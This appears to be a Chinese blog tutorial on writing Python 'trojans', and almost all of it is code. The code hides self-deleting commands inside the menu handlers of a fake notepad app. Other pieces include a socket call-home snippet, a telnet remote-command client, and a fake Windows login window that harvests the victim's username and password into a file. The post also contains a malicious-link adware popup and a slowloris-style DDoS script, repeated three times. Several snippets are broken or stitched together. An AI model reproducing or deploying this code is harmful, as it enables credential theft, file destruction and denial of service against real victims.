这个木马难度较大，并且还要进行伪装，在这里，我们将这个木马伪装成这个程序：
这是一款记事本程序，我们可以用它来进行伪装，它的代码如下：
#__author__='ZhangP'
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('记事本')
root.geometry("800x500+100+100")
filename=''
def author():
tkinter.messagebox.askokcancel('作者信息','本软件由tiantian520开发')
def about():
tkinter.messagebox.askokcancel('版权信息.Copyright','随意转载啦!')
def openfile():
global filename
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<>')
def copy():
textPad.event_generate('<>')
def paste():
textPad.event_generate('<>')
def redo():
textPad.event_generate('<>')
def undo():
textPad.event_generate('<>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打开',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存为',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='复制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘贴',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全选',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='编辑',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版权',command=about)
menubar.add_cascade(label='关于',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打开',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
我们用它来充当正常程序，而我们将修改一下代码，使其变为典型木马。
因为难度较大，所以我们一步一步、脚踏实地的来学习。
我们先看一段代码：
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
这段代码可以实现删除这个文件所在的目录文件夹，我们就用这段代码来进行自毁木马的编写。
看一下之前的代码：
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('记事本')
root.geometry("800x500+100+100")
filename=''
def author():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('作者信息','本软件由tiantian520开发')
def about():
tkinter.messagebox.askokcancel('版权信息.Copyright','随意转载啦!')
def openfile():
global filename
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<>')
def copy():
textPad.event_generate('<>')
def paste():
textPad.event_generate('<>')
def redo():
textPad.event_generate('<>')
def undo():
textPad.event_generate('<>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打开',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存为',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='复制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘贴',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全选',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='编辑',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版权',command=about)
menubar.add_cascade(label='关于',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打开',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
我们加上点刚才看的代码：
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('记事本')
root.geometry("800x500+100+100")
filename=''
def author():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('作者信息','本软件由tiantian520开发')
def about():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('版权信息.Copyright','随意转载啦!')
def openfile():
global filename
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<>')
def copy():
textPad.event_generate('<>')
def paste():
textPad.event_generate('<>')
def redo():
textPad.event_generate('<>')
def undo():
textPad.event_generate('<>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打开',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存为',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='复制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘贴',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全选',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='编辑',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版权',command=about)
menubar.add_cascade(label='关于',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打开',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
这样，我们就可以大致实现自毁木马了。
入侵病毒
通过入侵病毒，我们可以尽快进行入侵，从而对对方实现高级操作。
现在我们先编写一个打开后可以通知黑客的病毒，这次，使用socket模块来进行。
下面是代码：
import socket
import time
import threading
import tkinter as tk
#---------------------------
MAX_CONN=20000
PORT=80
HOST="你的IP"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
try:
socks=[]
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(buf.encode())
window=tk.Tk()
window.withdraw()
window.mainloop()
这样，我们就可以实现通知了。
接着，我们就可以使用自己编写的Telnet连接器进行连接：
# -*- coding: utf-8 -*-
import telnetlib
# 配置选项
Host = '' # Telnet服务器IP
username = '' # 登录用户名
password = '' # 登录密码
finish = ':~$ ' # 命令提示符（标识着上一条命令已执行完毕）
# 连接Telnet服务器
tn = telnetlib.Telnet(Host)
# 输入登录用户名
n.read_until('login: ')
tn.write(username + '\n')
# 输入登录密码
tn.read_until('Password: ')
tn.write(password + '\n')
# 登录完毕后，执行ls命令
tn.read_until(finish)
tn.write('ls\n')
# ls命令执行完毕后，终止Telnet连接（或输入exit退出）
tn.read_until(finish)
tn.close() # tn.write('exit\n')
连接后，即可执行ls命令，如果需执行其他命令，可以修改下面代码：
tn.write('ls\n')#修改命令
1
你可以删除对方C盘，看看对方图片！现在，我们虽然进入了对方计算机，但是还没有获得Root权限，如果可以，我们也可以获得最高权限——Administrator
接下来，我教大家用代码实现向对方进行攻击，并且获得管理员权限。
首先，我们可以先将之前的病毒再加上几个代码：
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
window=tk.Tk()
window.title('欢迎使用Windows高级功能！')
window.geometry('450x300')
tk.messagebox.showinfo(title='welcome',
message='很高兴您使用Windows高级功能！请在这里重新注册一个账号，并且，用户名与密码必须与您现在使用的用户一样。')
#画布放置图片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#标签 用户名密码
tk.Label(window,text='用户名:').place(x=100,y=150)
tk.Label(window,text='密码:').place(x=100,y=190)
#用户名输入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密码输入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登录函数
def usr_log_in():
#输入框获取用户名密码
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#从本地字典获取用户信息，如果没有则新建本地数据库
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判断用户名和密码是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='欢迎您：'+usr_name)
tk.messagebox.showerror(message='系统错误 \n 错误代码:01x0111x0 \n 请关闭此程序，因为它似乎不适合你的Windows!')
else:
tk.messagebox.showerror(message='密码错误')
#用户名密码不能为空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用户名或密码为空')
#不在数据库中弹出是否注册的框
else:
is_signup=tk.messagebox.askyesno('欢迎','您还没有注册，是否现在注册')
if is_signup:
usr_sign_up()
#注册函数
def usr_sign_up():
#确认注册时的相应函数
def signtowcg():
#获取输入框内的内容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加载已有用户信息,如果没有则已有用户信息为空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#检查用户名存在、密码为空、密码前后不一致
if nn in exist_usr_info:
tk.messagebox.showerror('错误','用户名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('错误','用户名或密码为空')
elif np !=npf:
tk.messagebox.showerror('错误','密码前后不一致')
#注册信息没有问题则将用户名密码写入数据库
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('欢迎','注册成功')
#注册成功关闭注册框
window_sign_up.destroy()
#新建注册界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('注册')
#用户名变量及标签、输入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用户名：').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密码变量及标签、输入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='请输入密码：').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重复密码变量及标签、输入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='请再次输入密码：').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#确认注册按钮及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='确认注册',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函数
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登录 注册按钮
bt_login=tk.Button(window,text='登录',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='注册',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循环
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
这段代码会让用户输入自己的账号的密码，并且保存到usr_info.pickle中，我们在它输入后，找到这个文件，并且用记事本打开，里面就会写着密码和用户名，如图所示：
这样，我们就可以知道对方管理员账号密码了，即可登录到对方计算机上，并且拥有Administrator权限了。
广告病毒
首先，它得是个窗口，并且还是得有一个样子，大致构图如下：
点击这个链接，就会通往恶意网站。
效果如下：
代码：
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def tiaozhuan():
webbrowser.open("xxx.com")
window=tk.Tk()
window.title('头条新闻——新闻，找头条！')
window.geometry('450x300')
tk.Label(window,text='最新消息！微软决定抛弃Windows 7！详情请点击：').place(x=0,y=0)
b = tkinter.Button(window,text = '详情',bg='cyan',font = ('幼圆',15),bd = 0.5,width=10,height=5,command = tiaozhuan).place(x=50,y=100,anchor='nw')
window=tk.Tk()
window.withdraw()
window.mainloop()
在文中，有一个DDoS的代码。这段代码中，有一个要注意的是：如果不改动此代码，只可以攻击index.php这个页面！！！
要攻击其他页面，我们需要修改代码。
原本代码如下：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如要攻击index.html，就要更改为:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.html"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击Login.jsp：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.jsp"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
这样，就可以完成想要的攻击了。
原文链接：https://blog.csdn.net/tiantian520ttjs/java/article/details/103107836
